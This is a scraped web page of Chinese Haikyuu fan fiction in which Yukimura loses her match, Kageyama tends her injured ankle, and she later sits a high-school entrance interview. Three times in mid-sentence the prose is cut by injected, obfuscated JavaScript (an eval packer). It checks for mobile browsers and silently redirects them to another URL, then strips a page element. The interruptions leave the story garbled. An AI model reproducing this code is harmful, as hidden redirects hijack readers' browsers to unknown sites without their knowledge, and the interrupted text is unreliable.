所以这次来看比赛，樱井月的本意或许是来看雪村夜芙的笑话的。 她想知道——过去了这么久，加倍训练却换不来好的结果的雪村，是不是后悔了自己曾经的入部决定。 樱井也确实看到了自己预料的结果。 没有教练和有效训练的北一女子排球部，理所当然的输掉了比赛。 但是不知道为什么，樱井看完雪村输掉比赛以后，并没有感觉到“果然如此”的爽快。 此刻的樱井月，更是因为怕雪村摔倒再次受伤，还是出现在了她面前，暴露了自己。 放开雪村夜芙，樱井月摸了摸鼻子，忽然觉得自己好像跟踪女孩子的变态。 “为什么不去医务室？”她不解地问道。 “这个，没关系的……自己会好的。”雪村小声说着，有些心虚。 体育馆里当然配有医务室。 但是因为即便为此努力到受伤也还是输了球，又赶时间去看影山的比赛……总之，雪村夜芙下意识就逃避去医生那里。 “没关系的，之前训练也有过这样的情况。反正，过段时间就会消退的。”雪村这样说着。 樱井沉默了一会儿，没有再逼她去医务室，而是忽然开口问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986110|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了自己心里的疑问。 “你后悔吗？” 樱井月看着雪村的眼睛说：“三年，在排球部浪费了整整三年时间，结果还是赢不了。” 樱井说这话的时候很认真，这个答案对她来说，或许是无比重要的。 雪村愣了愣，忽然在这一刻明白了当初樱井月看她的那个眼神。 原来……原来是这样吗？ 樱井月当初不想让她入部，是因为在她身上看到了自己吧？ “日复一日的训练，明明想成为球场上的明星，结果成为了球场上的败者，没有人记得。” “因为最开始就没有天赋，又很迟才碰排球，而且还得不到好的指导，输掉是那么的理所当然。” “明明被热血沸腾的比赛所激励才选择打排球的，结果自己却被打得狼狈不已。” “所以……雪村你……后悔吗？” 樱井月一口气说完了压在她心上多年的话，然后探究着看向雪村夜芙，迫切想要得到她的答案。 “……”雪村夜芙垂下了眼眸，眼中有失落和迷茫，最后还是被坚定所取代。 轻轻摇头，雪村给出了她的答案：“我不后悔当初的决定，就算知道是这样的结果。” 雪村夜芙抬起头，看着樱井月说着：“你说的这些……这些，都不是我一开始就该选择放弃排球的理由。” “这三年的时间不会白费，我的排球生涯也不会到这里就结束。” “虽然现在还是输，但是一定有一天我会赢下去的。而那时候赢下比赛的我，也是现在这个用三年时间输球的我。” 雪村夜芙说完了自己的答案，然后反问：“樱井学姐，你现在……也还在打排球吗？” “……”樱井月眼神回避，逃开雪村的目光，但还是点了点头。 进入高中以后，她也仍然选择了继续打排球。 得到了肯定的回答，雪村夜芙忽然笑了。 她们果然是一样的人。 这时候，随着春高县决赛的结束，已经有很多观众退场准备离开，人流量一下子变很大。 雪村和樱井不适合再继续留在这里了。 樱井月有些别扭地过去挨着雪村夜芙，扶着她走下台阶，皱着眉问她：“你要怎么回去？” 雪村夜芙有些不好意思地回答：“原本想叫计程车的，但是现在……” 这样的人流量之下，叫到车的可能性几乎为零。 樱井月抿了抿唇，扶着雪村夜芙往另一个出口的方向走去。 她的电动车就停在那边。 十分钟后，雪村夜芙头上带着粉色的安全帽坐在樱井身后，伸着脖子探头到樱井的耳边说话。 “学姐，你拿到驾照了吗？” “我们会不会违章被抓啊？” 樱井月凶巴巴地让她闭嘴。 驾照考试什么的虽然通过了，但是因为没有到法定年龄，驾照什么的……居然不肯发给她。 不管，反正她很会开这个。 顺利地驶离了体育馆，樱井月稳稳地把雪村夜芙送回了家。 一路上，秋日还算和煦的暖阳照在她们身上。 半个多小时后，雪村在公寓楼的门口下了车。 樱井替她解开安全帽外部的扣子，然后下意识理了理雪村有些凌乱的红浆果色的头发。 “学姐……”雪村夜芙忍不住开口叫她。 听到她带着撒娇的语气，樱井月一下子红了脸颊，嘴硬地说着：“要是早知道你家这么远，我才不会开这么远把你送回来啊。” “肯定会找个路口把你丢下，让你自己叫计程车的。” 雪村噗地一声笑得露出了牙，弯成月亮的眼睛看着樱井月。 樱井月在雪村的注视下，手忙脚乱坐回车子上，掉头就跑。 没想到樱井学姐原来是这么容易害羞的人啊，雪村夜芙歪着头想着。 “真的很感谢你啊，樱井学姐。”她对着樱井的背影道谢。 听到雪村的声音，已经离开一段距离的樱井又停了下来，转过头对雪村夜芙说着最后的话。 “喂，雪村。” “——祝我们都好运。” 14. 藏在心里的问题 影山飞雄气喘吁吁地跑到了2 号体育馆里，那里是今天雪村夜芙比赛的地方。 但这间体育馆的排球场上，早就没了参赛队伍的身影，只剩下工作人员正在做着最后的整理工作。 “这位同学，这里马上要关闭了啊，你有什么事吗？” 正在清理地面的阿姨注意到了他，好心提醒。 “这里的比赛……已经结束了吗？”影山飞雄迟疑地问着。 “结束很久了啊，怎么会现在才来呢？是记错时间了吗？”阿姨奇怪地问着。 影山飞雄呼吸一窒。 “影山前辈？”惊讶的声音在影山飞雄身后响起。 影山飞雄转了过去，看见鹿目佑树后愣了几秒才想起来他是谁。 “真的是你啊。”鹿目佑树有些惊喜地说，“我本来正要走了，忽然看到前辈。” “前辈是来找雪村同学的吗？” “我打完比赛后来过，那时候她就已经走了。雪村同学的比赛……还是输了。” ……雪村她还是输掉了吗？ 听到这样的消息，影山飞雄忽然跟着一起难过了起来，下意识就要去找她。 但是鹿目佑树接下去的话又让他顿住了脚步。 “说起来，雪村前辈她真的很努力了。明明我们每天结束社团训练以后，都还会再加练很多时间。” 鹿目佑树叹了口气，“雪村前辈一定很伤心吧，毕竟是毕业前的最后一场比赛了。” 这些话传入影山飞雄的耳朵里，他整个人都僵在了原地。 “……你们……每天都会一起……加练？”他艰难地开口问。 难道还一起顺路回家，一起喝买一送一的牛奶吗？！ 这小子是不是还替雪村推过单车？！ 鹿目佑树眨了眨眼睛，决定说一个小谎来证明自己真的对雪村同学很照顾——这样影山前辈一定会很感动，因为帮忙关照了前辈的朋友什么的。 “是啊，‘每天’我都有帮雪村同学托球哦。” 鹿目佑树自信满满地说完，结果换来了影山飞雄长久的沉默。 这个即将关闭的体育馆又迎来了第三个人。 气喘吁吁地扶着墙，谷地仁花累得差点说不出话，“影、影山同学，你跑得太快了我追不上……” “大家都在等你出发一起去吃饭啊，影山同学。” “怎么会跑来这里……是迷路了吗？” 影山飞雄回过神，忍不住瞪了鹿目佑树一眼，然后臭着脸往外走去。 “……有事，抱歉。” 谷地仁花奇怪地看了影山一眼，敏锐地察觉到了他的情绪似乎很糟糕，于是根本不敢再搭话。 鹿目佑树则被瞪得有些摸不到头脑。 他好像……搞砸了吗？是哪里不对啊？ 常去的餐馆里，乌养教练和武田老师请排球部的众人好好吃一顿饭。 因为赢得了去东京参赛的机会，大家都兴奋不已，但只有一个人除外。 “喂，月岛，那个拦网真的太酷了吧？你怎么做到的啊，回去教教我啊。” 日向翔阳大口往嘴里塞着东西，快速咽下去以后又拉着月岛说个不停。 “说过了无可奉告，吃你的饭。” 月岛萤烦不胜烦，顺手往日向嘴里塞了一块面包。 日向翔阳瞪着月岛，但还是老老实实把面包咽了下去，只是抱怨着：“干什么给我面包啊，会占掉胃的空间让我少吃很多好吃的烤肉啊。” “那就闭上嘴去吃啊。” 往常这种吵嘴中，影山飞雄也会在猛吃的间隙里插嘴骂上几句“日向你是笨蛋吗”之类的的话，但是今天他却很安静。 他面前的餐盘里，甚至只有半片没吃完的烤吐司。 影山飞雄感觉很饿，但是即便如此，他却仍然无法心安地吃下去东西。 拿着手机，影山重复拨打着同一串号码，但是对方一直无人接听。 是雪村给他的，她家里的电话号码。 没有人接听的电话让影山飞雄感到焦虑。 在打了十几个的时候，他终于忍不住忽然站了起来。 一整桌人都停下了筷子看向他。 “影山，你怎么了啊？” “是赢了白鸟泽高兴得傻掉了吗？” 日向关心了一句，被谷地仁花轻轻拽了拽衣袖，示意他噤声。 “……抱歉。”影山飞雄面向教练和三年级前辈鞠了个躬，“我有事，要先离开了。” 说完，影山飞雄就快步离开了座位，往餐馆外走去。 “影山是不是有什么心事啊？”菅原孝支有些担心地说着，“在集训的时候我就发现了，影山他好像总是在等谁的电话，刚才他也不停地在用着手机拨号。” “就算这样，也不能不吃饭吧？”泽村大地也有些担心。 “喂……不会遇到了什么敲诈勒索之类的事情吧？”东峰旭猜测着，然后立马被三年级的大家骂了。 “少在那乌鸦嘴啊你！” “日向，”清水洁子不知道什么时候从老板那边要来了一份打包好的寿司，然后叫了日向的名字。 “你跑得比较快，能追上影山，把这个给他吗？” “刚刚打完整整五局比赛，不吃东西是完全不行的。” “啊……是、是！”日向翔阳从清水手中接过寿司，毫不犹豫地冲出了餐馆去追影山。 雪村夜芙的家，影山飞雄只知道是离活动中心很近的地方，具体的位置就有些模糊了。 但是顾不了这么多，他还是决定往那边赶。 在手机上查了查活动中心的位置，凑巧的是刚好也就在这附近。 “喂！影山！”日向翔阳气喘吁吁追了出来，把打包好的寿司往他怀里一塞。 “刚比赛完不可以不吃东西的啊，”日向翔阳学着清水的语气说着，“还有啊，如果遇到了什么麻烦的事情，记得告诉我们啊。” “大家肯定都很愿意帮忙的。” 影山飞雄愣了愣，接下寿司轻声道谢。 能够来到乌野，能遇到这样的队友，他虽然没办法说出来，但是内心其实也很高兴。 果然雪村说的都是对的。 影山飞雄找准了活动中心的方向，然后往那边跑去。 他是和大家一起从体育馆坐校车离开的，相比之下，其实樱井月的电动车要慢很多。 因此影山在活动中心附近的信号灯路口，像一个无头苍蝇一样乱撞的时候，樱井月载着雪村夜芙刚好和他迎面交错而过。 虽然带着安全头盔，但是雪村夜芙露在外面的红浆果色的头发，还是被影山飞雄在瞬间捕捉到了。 影山飞雄比自己想象的还要更加了解雪村夜芙。 不仅仅是她打球时候的习惯，还有她头发的颜色、喜欢穿的鞋子、讨厌吃的蔬菜、喜欢的牛奶口味…… 在不知不觉之中，这些他全都牢牢记住了。 影山飞雄在和雪村夜芙擦肩的瞬间转身，在信号灯还剩最后十秒钟的时候，重新穿越人群，追着她跑去。 行人纷纷对着这个在路上快速奔跑的少年侧目。 他一定有什么很重要的人要见，或者有什么很重要的事要做吧？ 大多数路人都会这么想着，然后远远看见他往这边跑来，就会自发让出一条畅通的路线。 公寓楼下，送走了樱井月的雪村并没有立刻往楼上走。 左脚的疼痛似乎比她预想得还要严重一些。 雪村夜芙坐在楼下的花圃边沿，还是忍不住脱下了鞋子，打算想办法缓解一下再走。 影山飞雄跑进了这一片公寓的区域，然后看见樱井月骑着车在一处转角出现。 ……他找到了，雪村夜芙在的地方。 树荫下，红浆果发色的女孩原本打算独自检查伤处，却听见有人忽然叫出了她的名字。 “雪村。” 影山飞雄跑到了心心念念的人的面前，呼吸急促。 他叫出了她的姓氏，但是忽然之间，又很想叫她的名字。 “……夜芙。” 雪村夜芙愣了一愣，忽然手足无措了起来。 “影山飞雄？” 他怎么会忽然出现在她家门口……而且还是在她很没形象脱掉了鞋子的时候啊！ 影山飞雄敏锐地发现了雪村还没来得及藏起来的淤青。 上前抓住雪村的手腕，影山飞雄慌乱地查看：“受伤了？！” 影山飞雄看到那些淤青的时候，心里难受到了极点。 输掉比赛，还把自己弄伤什么的，到底为什么要让雪村也经历这些。 让他一个人承受不就好了…… 和他一起训练的时候，雪村有时候被球砸到都会埋怨他、冲他发脾气。 所以明明是不爱吃苦的人，却还是要独自承担这些吗？ 怎么会这样。 影山飞雄抿着唇不吭声，脑子里乱成一团，手上却不停地把雪村的双手完完全全检查了一遍，然后又将目光投向了雪村脱掉了鞋的左脚。 雪村夜芙被影山冷着脸的样子吓了一跳，连忙搬出之前应对老师和学姐们的说辞，想说些不要紧之类的话，结果才说了一句，就被影山接下去的举止吓到了。 影山飞雄这时候一句话都听不进去。 他在雪村身边坐下，用手抬起了雪村的小腿放在自己的膝上，然后把她的袜子轻轻拉了下来—— 摔伤的程度比雪村自己想象的还要糟糕。 脚踝处肿得很高，乱七八糟的淤青颜色，还有脚踝上方一小块已经凝血的擦伤。 雪村低头去看自己的伤口，脚踝被影山握在手里的温度，忽然让她觉得有了几分委屈。 影山定定看了一会儿，惯用来托球的指尖轻轻触碰淤青的边缘。 “很痛吗？”他用这辈子都没有过的温柔语气问着。 雪村夜芙原本想摇头表示不痛，可是在影山那样明明白白心疼的目光之下，她感觉简直痛到想哭。 雪村犹豫着，最终点了点头。 什么“自己会好的”“没有关系”“不需要担心”那种逞强的话，都只不过是掩饰脆弱的借口而已，是雪村夜芙披在身上的一层很薄很薄的壳子。 而这种薄壳，因为在意的人的一句话就会轻易碎掉啊。 “很痛，真的很痛。”雪村夜芙眼睛红红的，对着影山飞雄这样说着。 影山飞雄握着她的脚踝的手轻轻颤了颤，深吸一口气，然后小心翼翼放下。 “在这里等我，绝对不要乱动。” 影山飞雄对着雪村交代了一句，然后站了起来，用比刚才更加快的速度往最近的药店跑去。 在公寓不远处就有一家，他来的时候有注意到。 冰块、毛巾、创口贴、活血止痛的药液喷剂。 在等待店员找喷剂的时候，影山还在药店门口的自动贩售机上买了一盒薄荷牛奶。 秋季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986111|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气温并不炎热，影山飞雄的额头却还是因为快速的跑动冒出了汗。 直到回到公寓楼下，看见雪村夜芙还乖乖坐在那里的时候，影山飞雄才慢下了脚步。 将药品放在地上，双手拆开吸管插进饮料孔，他把牛奶递给雪村夜芙，然后又蹲下去拆别的包装。 雪村夜芙接过牛奶小口地喝了起来，看着影山飞雄将一小袋碎冰块包进毛巾里。 影山坐回了雪村夜芙身边，再次将她的小腿放在自己的膝上，小心翼翼地将冰毛巾敷在了她肿起的脚踝上。 伤口处的温度骤然下降，雪村夜芙的脸却一点一点变热。 局促地咬着吸管，看着影山轻轻按着冰毛巾，雪村大脑有一瞬间的空白。 毛巾里的碎冰一点一点融化，脚踝上原本的疼痛逐渐减轻，转而变成一种近乎麻木的感觉。 “会很冷吗？再等一会儿。” 影山飞雄说着，专心着手上的动作，没注意到雪村夜芙微红的脸颊。 隔了一小会儿，影山拿开冰毛巾放在一旁，又用力将自己的手掌搓热，把掌心轻轻按在淤血最严重的地方。 淤血要揉开才能好得更快，这些是小时候爷爷教过他的事情。 “会很痛，但是痛才能好得更快。”影山将爷爷说过的话说给雪村听。 雪村原本强装出来的镇定几乎要维持不住了，感觉自己脸热到像毛巾里的冰块一样，马上整个人就会化掉。 反复地冰敷，反复地用手掌去揉，不知疲倦。 许久，影山飞雄终于停下了重复的动作，拿起那罐有活血效果的止痛剂喷在了自己的手心里，然后一点点用指尖涂抹到雪村夜芙的皮肤上。 脚踝、手腕，所有受过伤的地方，全都被找了出来，仔仔细细抹上了药液。 雪村夜芙手里的牛奶很早就喝完了，影山飞雄在处理她脚踝上的伤的时候，她看到了他头顶的发旋。 而那双替她托了无数次球，天才二传的手，在她的皮肤上留下温度。 看着面前的人，在这短短几十分钟，雪村夜芙已经在心里问了影山飞雄无数遍—— 她想问，影山飞雄你，是不是很喜欢我啊？ 是不是因为喜欢，所以才用不知道什么样的方式找到了她，所以才会放弃和队友庆功，到这里来仔仔细细替她处理伤处。 但是雪村夜芙不会在这个时候就问出口这个问题。 她有着自己的骄傲和想要的仪式感。 她想等到将来的某天，等到她和影山一样，站到了明亮又耀眼的舞台上，成为同样优秀的排球选手以后，再去选择问出口这个问题。 问出口这个，未来的她在几年前的现在就已经猜到了答案的问题。 等处理好了所有伤口，影山飞雄背对着雪村夜芙伸出了手。 雪村夜芙脸上的热度这时候已经消了下去。 顺从地搭上他的肩膀，她小心翼翼地趴到影山飞雄的背上。 影山飞雄背着她回到了家中。 把雪村轻轻放在沙发上，影山飞雄就立刻退到了门外。 他见过雪村成，怎么说呢……雪村的父亲，对他来说好像有一种天生的压迫感。 他不太敢在雪村家呆着。 雪村夜芙看着他拘束的样子，忍不住笑出声。 而终于意识到自己在前一个小时里究竟做了什么的影山飞雄，忽然手足无措了起来，脸烫到发红，话也说得结结巴巴。 他都在干什么啊？！ 虽然只是处理伤势，但是、但是对象是雪村夜芙啊。 他的指尖，到现在都还能回忆起雪村皮肤的温度。 “我……我先走了……” 惊慌失措状态下的影山飞雄只想快点逃离。 “好。”看着影山脸红的样子，雪村也重新感觉到了些微的难为情。 门被轻轻关上，留下雪村独自一人坐在沙发上。 她无法控制地回想起刚才影山飞雄低头替她擦药的样子，想着想着又忍不住发笑。 而影山飞雄手脚并用地走进电梯，甚至最开始都忘记按下去往底楼的按键。 雪村家的客厅，沙发边的电话忽然响起了自动提醒，提示有十六个未接来电。 雪村夜芙伸手去够，把电话搬到了自己的腿上，看到了那串早就背下来的电话号码。 她想了想，按下了回拨键。 影山飞雄才刚刚走出电梯，口袋里的手机就响起。 他平复了没多少的呼吸在看到号码后又急促了起来，有些慌乱地按下了接听键。 下一秒，手机里传出雪村夜芙的声音。 “喂，影山？” “嗯，是我。” “打好多电话到我家，有事吗？” 电话那一头，雪村夜芙抱着听筒，弯着嘴角躺倒在沙发上。 “我……” 影山飞雄一时之间不知道该怎么回答雪村的明知故问，但嘴角也不由自主弯了起来。 “嗯？回答不上来吗？好吧……那换一个问题，你现在在哪里呢？”电话里继续传出雪村的声音。 “……我现在，在你家楼下。” 影山飞雄将手机放在耳畔，听着雪村的声音。 他一边说着，一边慢慢走出公寓的大门，坐到了雪村夜芙刚才坐过的花圃的边沿上。 秋日的风已经微凉，阳光却还透着暖意，天气很好。 影山飞雄忽然觉得，他喜欢上了这一天。 15. 理性与非理性 几天后，乌野。 日向翔阳飞快地跑进体育馆，人还在空中没落地，嘴里就嗷嗷叫着：“今天我第一！！” 平时上完课到了社团活动的时间，影山都要跟他抢着比谁先进到体育馆里，今天可算是被他遥遥领先了。 甚至影山到现在还完全不知道人在哪。 日向翔阳心情很好地先开始热身，决定等下狠狠嘲笑影山。 过没几分钟，别的队员也陆陆续续换好衣服来到了体育馆。 “哎？影山今天怎么还没来啊？”等着嘲笑影山飞雄的日向忍不住问道。 “啊，影山啊。他今天不参加训练了，有跟我说请假。” 菅原孝支一边热身，一边回答着日向，“他平时自己加训的量完全足够，偶尔休息一天也不错啦。完全不用担心。” “哈？！”那个影山居然会不来训练？！ 排球部的大家都觉得诡异极了，全都十分震惊。 菅原孝支带着些许恶劣地打击他们：“说不定人家影山有女朋友要哄啊。哪像你们这群笨蛋，因为不需要做这样的事所以每天都按时来报道啊～” 菅原说完，周遭都寂静了下来。 然后下一秒，从体育馆里传出了“因为没有女孩子喜欢所以被打击到了”的笨蛋们的哀嚎：“啊啊啊啊啊啊啊！” “喂，都给我安静一点啊！又想把教导引过来吗！” 泽村大地头疼地看着心碎了一地的笨蛋们。 还有田中，到底为什么会用那种看负心汉的眼神看清水啊？ “菅原！”泽村大地谴责地看向他，“不要突然说这种话啊，真是——” 拱火小能手菅原孝支，一句话让笨蛋们破防。 北川第一中学门口，现在正是放学的时间，影山飞雄这次是有备而来的。 特意找出了初中时候的校服外套替换掉了乌野的衣服，拉了拉明显短了一截的袖子，影山飞雄准备趁现在混进北一中学。 那天见雪村的时候，因为太紧张她身上的伤所以完全忘掉了另外一件事，但是今天早上他睡醒一睁眼，迟钝的大脑就忽然发来这个消息。 那个叫鹿目佑树的小子，居然每天都缠着雪村…… 黑着一张脸，影山飞雄混入人群。 只不过大部分北一的学生都背着包往外走，只有影山飞雄一副“看不见我看不见我”的样子，低着头往学校里面走去。 进门的时候，门口值守的保卫处大叔忽然吹响了哨子，喊到：“喂！那边那个！” 影山飞雄整个人一震，僵硬得转过了身 。 大叔三两步走到影山飞雄旁边——然后把路过的一个踩着滑板的学生拦了下来。 “校园有规定，不可以在人流量很大的路上用滑板啊……”大叔严肃地批评教育。 ……原来不是抓到了他。 影山飞雄松了口气，心虚地看了一眼大叔，在后者还没有注意到他之前飞快走开。 习惯了乌野的环境，影山飞雄踏入这个曾经呆了三年的北一体育馆，忽然感到有些陌生。 但是一走上排球场，那种陌生感就消失了。 不管哪里的排球场都是他的舒适区。 转动手腕脚踝当作做热身，影山飞雄心想着：今天他就让鹿目那小子知道，陪雪村训练这种事，明明他才是最佳人选好吗？！ 然后果然在球场上找到了那个让他看不爽的家伙，影山飞雄直直走了过去。 北一的体育馆里，随着学期末的考试临近，学业压力的加大使得练球的人少了很多。 但是缺席社团活动的并不包括鹿目佑树，只不过想要打队内训练赛的话，因为缺了不少队友所以也有些勉强。 正因为打不了训练赛烦恼，鹿目一转身就看见影山飞雄走进了体育馆。 “影、影山前辈？！” 影山前辈居然会回来北川第一？！ 那可是打赢了青叶城西和及川前辈，又打赢了白鸟泽和牛岛若利的影山前辈啊？！ 鹿目的眼睛一瞬间就亮了，甚至影山前辈还一直在看他……所以是专门来找他的吗？！ 虽然不知道为什么前辈穿着初中部的校服，但是前辈做事肯定都有他的道理。 他就知道自己过去的努力不会白费！ “影山前辈！”鹿目抱着排球冲向了影山飞雄，“你来指导我们打球吗？” 影山飞雄正不知道该怎么开口表示“想在球场上把你揍一顿”这种事，听到鹿目这么说，下意识点了点头。 “太好了！”鹿目高兴地蹦了两下，跑回队内向自己的后辈郑重无比地介绍影山飞雄。 “哇是那个‘影山前辈’吗……” “他打赢了白鸟泽诶……” 在场的排球部的队员大部分都没有见过影山，倒是听过他“球场上的王者”这样的称号，看向他的眼神有些畏惧，但更多的是向往。 “打队内赛吗？”鹿目佑树无比希冀地看着影山飞雄，“前辈一定是要打二传的位置吧？” 影山还在北一的时候，鹿目并不是正选的主攻手，打过的影山飞雄的托球寥寥无几，结果今天终于能够好好打上几个影山前辈的托球了！ 和偶像一起打球什么的，真是太棒了吧！ 没有浪费时间，北一的队员听到前辈要帮忙训练，都自发分组走向网的两边，准备好好打一场。 然后下一秒，鹿目佑树就眼睁睁看着影山飞雄走到了他的对面。 小鹿般的笑容瞬间凝固。 一个多小时后。 雪村夜芙好不容易从成堆的试卷里解脱出来，再加上这几天伤也好得差不多了，抱着排球来体育馆想要放松一下，结果就看见影山飞雄居高临下地站在鹿目佑树面前，而后者一脸的迷茫。 她揉了揉眼睛，还以为自己看错了。 穿着初中部的校服……初中时期的影山吗？ 是竹取最近塞给她的那部穿越漫看多了出现幻觉了吗？ 过去的这几场队内训练赛，影山飞雄拿出了堪比打春高的认真精神，发球、传球、拦网、击球一手包办，几乎一人拿下了全队的分数。 三局训练赛，成功将鹿目佑树打成 3 ：0。 看向接不到球躺在地上的鹿目佑树，影山飞雄不自觉地抬了抬下巴，说着：“我赢了。” 那副样子，看起来好像比赢了白鸟泽还要高兴。 雪村夜芙被无语到。 有时候真想掰开影山飞雄的脑子看看里面都装了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986112|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，为什么每次觉得他好像也不那么傻的时候，总会有这种意外发生让人认清现实。 看到雪村进来，影山飞雄忽然像是变了个人，刚才那副不可一世的样子瞬间收了起来。 鹿目佑树郁闷了一会儿，从地上爬了起来，嘴硬道：“再来一局！” 再来一局他一定要让影山前辈刮目相看！ “哈？不要。”影山飞雄回过头看了他一眼，毫不犹豫地走向雪村。 “怎么忽然穿成这样……回学校啊？”雪村夜芙指着影山的北一校服问着。 影山飞雄低头看自己身上的衣服，耳朵尖有些发烫，因为根本给不出合理的解释。 “那个……早上的时候……不小心穿错了……” 影山飞雄试图转移话题，他用手指了指眼巴巴看着自己的鹿目佑树，说着：“那家伙的排球水平也很糟糕。” 被指到的鹿目佑树呆了呆。 “所以……所以……” “所以不要和水平糟糕的笨蛋一起练球吗？”雪村夜芙眨了眨眼睛替他说着。 影山飞雄松了口气，肯定地点了点头。 “所以你也不要和我一起训练了吗？”雪村夜芙装出疑惑的样子，捉弄影山飞雄这种事对她来说简直太简单了。 “不……不是这样的！” 影山飞雄瞳孔地震，而雪村夜芙笑出了声。 她算是知道影山今天到底是来做什么的了。 “影山前辈！我一定会加入乌野，一定会证明给你看的！” 鹿目佑树不死心地插入了他们之间，“我只报考了乌野一所高中哦，我一定会去到前辈身边的！” “啊对了，雪村同学也会去乌野吗？” 雪村夜芙原本挂在脸上的笑容忽然就凝固了。 天快黑的时候，北一附近的便利店久违地走出来他们两人。 “好奇怪哦，”雪村夜芙说着，轻轻咬了一口手里的咖喱包，“上次和你一起回家，已经是一年前了啊。” “那时候还以为是最后一次了呢。” 像现在这样，和影山飞雄一起走在回家路上什么的，对雪村夜芙而言是很开心的事情，但是此时此刻，鹿目刚刚问过的问题摆在了她的面前—— 她要去乌野吗？ 如果去乌野的话，就可以每天都和影山一起回家了吧。 但是乌野的女子排球部几乎是另一个北川第一。没有教练，没有什么值得一提的成绩，不会有任何优秀的选手会选择加入。 这对想要站到全国舞台上的雪村夜芙来说，是致命的。 但是这一刻，如果影山飞雄和她说“来乌野吧”，雪村夜芙根本拒绝不了，她怀疑自己或许真的会答应下来。 理性与非理性的交战，有时候总是非理性占到上风。 许许多多的人都曾这样清醒地看着自己沉沦，她会不会也逃不过这样的命运呢？ 但是从始至终，影山都对此保持沉默。 只是很郑重地说起另一件事—— “春高会在东京的体育馆里举行，雪村你……可以来看我打球吗？” “我一定会一路赢到很后面的。” 雪村夜芙愣了一愣，暂时放下心里的困扰，用力点了点头。 16. 去井闼山吧！ “……” “出自夏目漱石《梦十夜》，以梦境形式探讨情感、艺术和社会问题。” “……” “圆锥的体积计算公式为三分之一π底部半径的平方与其高相乘。” “……” “该行为在道德上应受谴责而在律法上为无罪。” “……” “……” 问答环节结束。 雪村夜芙面前的考官席上，年约四五十岁的女老师问完了所有问题后，用红笔在意见表的最后一栏画上了勾，然后抬起头看向面前的女孩子。 优异的入学笔试成绩，出色的面试表现，冷静的临场反应——这孩子无疑是最出类拔萃的那种学生。 在心里做出了肯定的判断，佐藤裕子以下一届新生教导员的身份正式向雪村夜芙发出入学邀请。 她在入学邀请文件的末端签下了自己的名字，然后拿着它站了起来。 雪村夜芙也跟着起身，安静地走到了佐藤裕子的面前。 “雪村同学，很荣幸我将代表‘井闼山高校’向你发出入学邀请。希望你同样能够选择我们学校，完成今后三年的学业。”佐藤微笑着对她说。 “对了，我看到社团意向一栏，你对排球也非常有热情。如果是这样，那么井闼山无疑是你最好的选择……” 井闼山学院，无论是在教学质量还是素质教育上都无可挑剔的高校。 他们的排球部，不仅男排是高中排球赛事的夺冠队伍，女排也是夺冠的热门。 这样的学校，是哥哥雪村远岱和妈妈春日奈费心替雪村夜芙做出的最好的选择。 而现在，那封入学邀请书就这样被佐藤裕子递到了雪村夜芙面前。 雪村夜芙看着面前的邀请书，眼底的情绪有些难以捉摸。 …… 东京体育馆外，刚刚结束了入学面试的雪村夜芙快速跑下搭乘的电车，又气喘吁吁地跑上台阶，向着通往观众席的入口跑去。 白雾从她的口腔中漫出，冬日的寒冷让热气无处遁形。 因为跑步带来的燥热，让她忍不住把原本戴着的毛线帽子摘了下来。 总感觉连头顶都在冒着热气…… 还有十分钟，乌野和椿原的比赛就要开始了，雪村夜芙这次终于赶在了比赛开始前抵达。 球场上，影山飞雄正在做着最后的热身运动，忽然余光瞥见了那道熟悉的身影。 雪村夜芙站在乌野横幅上方的观众台上，很用力地挥动着双臂，还时不时跳两下，终于让迟钝又专注的影山注意到了自己。 于是她脸上的笑容又大了几分。 看到那样的笑容，影山飞雄的心仿佛慢了一拍，随后也不自觉弯起了嘴角，眼神温柔地看向了雪村夜芙。 和影山飞雄面对面热着身，离得相当近的日向翔阳被这个笑容吓到后退了好几步，直接撞上了在他身后的西谷夕。 仿佛抓到了救命稻草，日向抓住了西谷的肩膀躲到他身后，神经兮兮说着：“前辈！影山是不是中邪了，他忽然会正常地笑出来了……而、而且好温柔啊？！好可怕啊，真的没问题吗？” 但西谷显然并没有听见日向的话。 把日向的头扭向了观众席，西谷夕眼神梦幻地说着：“那边有个一直在冲我挥手的女孩子……长得好美……而且居然特意跑来这边为我加油……” “翔阳，你说我打赢这一场过去求婚的话，是不是会很感人……” 日向翔阳：啊？ 目光呆滞地顺着西谷的眼神看了过去，日向也顿时眼睛一亮。 于是场上又多了一个跳来跳去冲着观众席挥手的橘子小狗。 “呜呜呜居然得到了女孩子的鼓励我今天一定要拿下一百分！” 日向翔阳握了握拳，已经完全忘记刚刚还说过影山的坏话，冲着他喊道：“喂，影山！今天给我托一百个球！！” “我现在状态好到——反正已经无法形容了！” 